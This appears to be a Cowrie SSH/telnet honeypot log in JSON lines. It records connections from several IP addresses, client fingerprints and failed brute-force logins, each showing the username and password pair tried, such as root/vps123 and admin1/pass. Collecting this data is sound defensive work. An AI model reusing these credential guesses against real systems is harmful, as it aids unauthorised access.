-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:30:12.579283Z","src_ip":"43.243.142.42","session":"7338f927a821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"pass","message":"login attempt [admin1/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:30:13.545741Z","src_ip":"43.243.142.42","session":"7338f927a821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:30:14.790696Z","src_ip":"43.243.142.42","session":"7338f927a821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":39410,"dst_ip":"159.203.135.109","dst_port":22,"session":"41d60a40e564","protocol":"ssh","message":"New connection: 42.200.66.164:39410 (159.203.135.109:22) [session: 41d60a40e564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:30:27.538040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:30:27.543172Z","src_ip":"42.200.66.164","session":"41d60a40e564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:30:27.765156Z","src_ip":"42.200.66.164","session":"41d60a40e564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps123","message":"login attempt [root/vps123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:30:28.679206Z","src_ip":"42.200.66.164","session":"41d60a40e564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:30:29.904498Z","src_ip":"42.200.66.164","session":"41d60a40e564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.186.41.165","src_port":47380,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e3312b036ad","protocol":"telnet","message":"New connection: 103.186.41.165:47380 (10.17.0.5:23) [session: 7e3312b036ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:30:48.550168Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.186.41.165","src_port":47660,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0d234ba0c63","protocol":"telnet","message":"New connection: 103.186.41.165:47660 (10.17.0.5:23) [session: e0d234ba0c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:30:49.901761Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":55878,"dst_ip":"159.203.135.109","dst_port":22,"session":"f30ea8889bb6","protocol":"ssh","message":"New connection: 42.200.66.164:55878 (159.203.135.109:22) [session: f30ea8889bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:31:21.083979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:31:21.089097Z","src_ip":"42.200.66.164","session":"f30ea8889bb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:31:21.307260Z","src_ip":"42.200.66.164","session":"f30ea8889bb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A@0599343813A@0599343813A@0599343813","message":"login attempt [root/A@0599343813A@0599343813A@0599343813] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:31:22.205978Z","src_ip":"42.200.66.164","session":"f30ea8889bb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:31:23.429252Z","src_ip":"42.200.66.164","session":"f30ea8889bb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":44112,"dst_ip":"159.203.135.109","dst_port":22,"session":"921864ff89db","protocol":"ssh","message":"New connection: 42.200.66.164:44112 (159.203.135.109:22) [session: 921864ff89db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:32:14.261680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:32:14.265889Z","src_ip":"42.200.66.164","session":"921864ff89db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:32:14.486264Z","src_ip":"42.200.66.164","session":"921864ff89db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20080808","message":"login attempt [root/20080808] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:32:15.397261Z","src_ip":"42.200.66.164","session":"921864ff89db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:32:16.619757Z","src_ip":"42.200.66.164","session":"921864ff89db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00326466560364,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:32:48.553278Z","src_ip":"103.186.41.165","session":"7e3312b036ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00214409828186,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:32:49.903767Z","src_ip":"103.186.41.165","session":"e0d234ba0c63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":60576,"dst_ip":"159.203.135.109","dst_port":22,"session":"08d0f805e454","protocol":"ssh","message":"New connection: 42.200.66.164:60576 (159.203.135.109:22) [session: 08d0f805e454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:33:09.694683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:33:09.699951Z","src_ip":"42.200.66.164","session":"08d0f805e454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:33:09.918076Z","src_ip":"42.200.66.164","session":"08d0f805e454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ss123456","message":"login attempt [root/Ss123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:33:10.814716Z","src_ip":"42.200.66.164","session":"08d0f805e454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:33:12.034383Z","src_ip":"42.200.66.164","session":"08d0f805e454","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":48812,"dst_ip":"159.203.135.109","dst_port":22,"session":"14f00f481d2d","protocol":"ssh","message":"New connection: 42.200.66.164:48812 (159.203.135.109:22) [session: 14f00f481d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:34:08.546807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:34:08.556664Z","src_ip":"42.200.66.164","session":"14f00f481d2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:34:08.779939Z","src_ip":"42.200.66.164","session":"14f00f481d2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wsy123456","message":"login attempt [root/Wsy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:34:09.687375Z","src_ip":"42.200.66.164","session":"14f00f481d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:34:10.912107Z","src_ip":"42.200.66.164","session":"14f00f481d2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":37050,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bd5ef13a892","protocol":"ssh","message":"New connection: 42.200.66.164:37050 (159.203.135.109:22) [session: 4bd5ef13a892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:35:05.947261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:35:05.953763Z","src_ip":"42.200.66.164","session":"4bd5ef13a892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:35:06.172766Z","src_ip":"42.200.66.164","session":"4bd5ef13a892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"p@ssword","message":"login attempt [test/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:35:07.069648Z","src_ip":"42.200.66.164","session":"4bd5ef13a892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:35:08.292269Z","src_ip":"42.200.66.164","session":"4bd5ef13a892","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":33450,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b22e911e9b3","protocol":"ssh","message":"New connection: 187.141.71.166:33450 (159.203.135.109:22) [session: 7b22e911e9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:35:52.824387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:35:52.829021Z","src_ip":"187.141.71.166","session":"7b22e911e9b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:35:52.952197Z","src_ip":"187.141.71.166","session":"7b22e911e9b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"UBUNTU123","message":"login attempt [ubuntu/UBUNTU123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:35:53.473277Z","src_ip":"187.141.71.166","session":"7b22e911e9b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:35:54.600361Z","src_ip":"187.141.71.166","session":"7b22e911e9b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.220.106.17","src_port":37514,"dst_ip":"10.17.0.5","dst_port":23,"session":"fefd8c11cb22","protocol":"telnet","message":"New connection: 158.220.106.17:37514 (10.17.0.5:23) [session: fefd8c11cb22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:37:27.328359Z"}
{"eventid":"cowrie.session.closed","duration":10.935986757278442,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:37:38.264206Z","src_ip":"158.220.106.17","session":"fefd8c11cb22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":53330,"dst_ip":"159.203.135.109","dst_port":22,"session":"c621f1ed85e3","protocol":"ssh","message":"New connection: 94.156.152.18:53330 (159.203.135.109:22) [session: c621f1ed85e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:38:34.825638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:38:34.831094Z","src_ip":"94.156.152.18","session":"c621f1ed85e3","protocol":"ssh"}
